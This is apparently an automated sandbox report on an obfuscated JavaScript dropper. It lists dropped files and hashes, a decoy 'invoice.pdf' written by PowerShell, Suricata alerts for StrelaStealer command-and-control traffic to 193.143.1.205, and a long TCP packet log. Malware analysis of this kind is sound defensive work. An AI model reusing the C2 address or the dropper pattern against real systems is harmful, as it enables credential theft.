Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\91caebf5-39be-4423-a312-3ac3c96c5e08.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17664), with CRLF line terminators
Entropy (8bit):	4.905972996331966
TrID:
File name:	221165125265292179.js
File size:	21'203 bytes
MD5:	308026f377812f0f3448b2be476afe7a
SHA1:	51e89f4129edd15bc0e9ac237df7edb7b5c760d0
SHA256:	9aea24b1e9e5b129687a6624a3d94d371d5182b1fa8b3d255e135241c349a7f2
SHA512:	5aef57475b77bc9fd2cf2aca31dc0bf62222fcbcd0c59cb97fbfe6ef7202c6a6ddae1be111b62eb981bb354289606ca6f1c1044c487ad848c944cf77f0ec60b9
SSDEEP:	384:g/qgq/5kQIKbK9EKeP27lAbDLYOmw6mf5u7mwrdN93ipa97u/zjH2lW7h90xtUL6:g/qgq/eKbK9EKeuy/z2xtUZ9ZRJ7be5H
TLSH:	B29201C0CBEEF65786C2576889ED0543A2ED878CC8ACF1DC085746904A05EE786FB5F9
File Content Preview:	function mwtioqiwo(){iucwht=[1031,3079,5127,4103,2055,3072];var hdwxq=this[noimc+voxnjt+ncgypw+gmcnmw+wqplibwcw+jpjwqyrq+zmzkciga+gtpxp](this[vktnynbdh+ookufeijb+rzbps+ncgypw+azgmgzirb+noimc+gtpxp][ftbzgmt+ncgypw+wqplibwcw+voxnjt+gtpxp+wqplibwcw+vhhsjm+ne

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:34:19.528177+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:34:19.528177+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:34:21.723029+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:34:18.722290993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:18.727194071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:18.727305889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:18.747617960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:18.752547979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.527942896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.527962923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.527975082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.527987003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.527997971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.528007984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.528018951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.528177023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.528211117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.528223038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.528233051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.528371096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.528371096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.533031940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.582297087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.582309961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.582528114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.582528114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.652324915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652343988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652355909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652367115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652379990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652393103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652421951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.652429104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652441025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652456045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.652483940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.652555943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652569056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.652602911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.653289080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.653470993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.653481007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.653491974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.653520107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.653541088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.653614998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.653626919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.653681040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.654324055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.654335022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.654345989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.654376030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.654453039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.654526949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.710031986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.710088015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.710280895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.747416019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.747595072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.747608900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.747659922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.776446104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.776495934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.776567936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.776587009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.776597977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.776607990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.776619911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.776629925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.776671886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.776684999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.776696920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.776721001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.777080059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777122974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777132034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.777133942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777170897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.777251959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777264118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777275085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777306080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.777929068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777940035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777951002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.777970076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.777987957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.778135061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778146029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778157949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778168917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778196096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.778225899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.778721094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778778076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778789043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778815031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.778964996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778975010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778985023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.778995991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.779002905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.779036999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.779625893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.779669046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.779689074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.779700994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.779742002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.779833078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.779844999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.779855967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.779882908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.779957056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.779999018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.780613899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.780626059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.780637026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.780668974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.780683041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.780694962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.780724049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.796672106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.796736002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.796847105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.796859980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.797032118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.834353924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.834403038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.834516048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.871772051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.871881008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.871936083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.871958971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.871970892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.872004986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.872037888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.872178078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.872178078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.900804043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.900835991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.900944948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.900998116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901031971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901066065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901098967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901206970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.901206970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.901271105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901304007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901336908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901357889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.901562929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901614904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901624918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.901648998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901702881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.901774883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901808023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901839972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901860952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.901874065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.901928902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.902396917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.902453899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.902487040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.902506113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.902597904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.902631044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.902651072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.902663946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.902697086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.902717113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.903332949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.903388023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.903388023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.903422117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.903472900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.903614998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.903647900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.903681993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.903700113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.903717041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.903769970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.904205084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.904256105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.904288054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.904309034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.904413939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.904448032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.904468060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.904479980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.904515028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.904535055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.905092955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.905144930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.905149937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.905179024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.905234098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.905301094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.905333996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.905366898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.905389071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.905402899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.905452967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.905994892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906049013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906083107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906107903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.906119108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906163931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.906183958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906217098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906259060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906275034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.906893969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906945944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.906953096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.906980038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.907036066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.907090902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.907123089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.907155991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.907188892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.907192945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.907248020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.907592058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.907864094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.907897949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.907948971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.907952070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.907984018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.908018112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.908035994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.908051014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.908083916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.908107042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.908679962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.908715010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.908731937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.913316011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.920949936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.921001911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.921013117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.921035051 CET	80	49730	193.143.1.205	192.168.2.4
